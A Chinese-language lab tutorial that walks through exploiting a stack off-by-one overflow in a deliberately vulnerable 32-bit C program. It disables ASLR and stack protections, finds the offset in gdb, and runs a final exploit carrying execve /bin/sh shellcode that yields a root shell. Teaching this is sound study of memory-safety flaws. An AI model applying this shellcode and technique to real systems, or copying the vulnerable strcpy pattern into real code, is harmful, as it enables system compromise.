什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

  1. 源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
 bar(arg); /* [1] */
}

void bar(char* arg) {
 char buf[256];
 strcpy(buf, arg); /* [2] */				//当长度等于256,就会off by one,将\0a溢出到ebp中
}

int main(int argc, char *argv[]) {
 if(strlen(argv[1])>256) { /* [3] */			// 长度大于256会结束
  printf("Attempted Buffer Overflow\n");
  fflush(stdout);
  return -1;
 }
 foo(argv[1]); /* [4] */
 return 0;
}

编译:

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c -m32 -g	#注意加上-m32 ,64位的mpreferred-stack-boundary是4到12之间
chmod 777 vuln

上述漏洞代码注释的第[2]部分是可能发生off by one溢出的地方。目标缓冲区长度为256,因此长度为256字节的源字符串可能导致任意代码执行。

如何执行任意代码执行?

使用称为“EBP覆盖”的技术实现任意代码执行。如果调用者的EBP位于目标缓冲区之上,则在strcpy之后,单个NULL字节将覆盖调用者EBP的LSB。

堆栈布局(这个图是低地址在下,高地址在上!!注意)

Image text

当我们已经知道256字节的用户输入,用空字节可以覆盖foo的EBP的最低一个字节(LSB)。所以当foo的存储在目标缓冲区“buf”之上的EBP被一个NULL字节所覆盖时,ebp从0xbffff2d8变为0xbffff200。从堆栈布局我们可以看到堆栈位置0xbffff200是目标缓冲区“buf”的一部分,由于用户输入被复制到该目标缓冲区,攻击者可以控制这个堆栈位置(0xbffff200),因此他控制指令指针(eip )使用他可以实现任意代码执行。让我们通过发送一系列256的“A”来测试它。

测试步骤1:EBP是否覆盖,从而可能覆盖返回地址?

gdb vuln
gdb-peda$ r `python -c 'print "A"*256'`
gdb-peda$ p/x $eip

结果

Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
gdb-peda$ p/x $eip
$1 = 0x41414141

测试步骤2:距离目标缓冲区的偏移是多少?

r `python -c 'print "A"*212 + "C"*4+ "A"*40'`

最终exp

查看buf变量地址

gdb-peda$ p &buf
$3 = (char (*)[256]) 0xffffd430

最终exp

gdb vuln
gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`

结果

gdb-peda$ r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`
Starting program: /root/sploitfun/vuln `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*187 + "\x30\xd4\xff\xff"+ "A"*40'`
process 16943 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.i686
sh-4.2#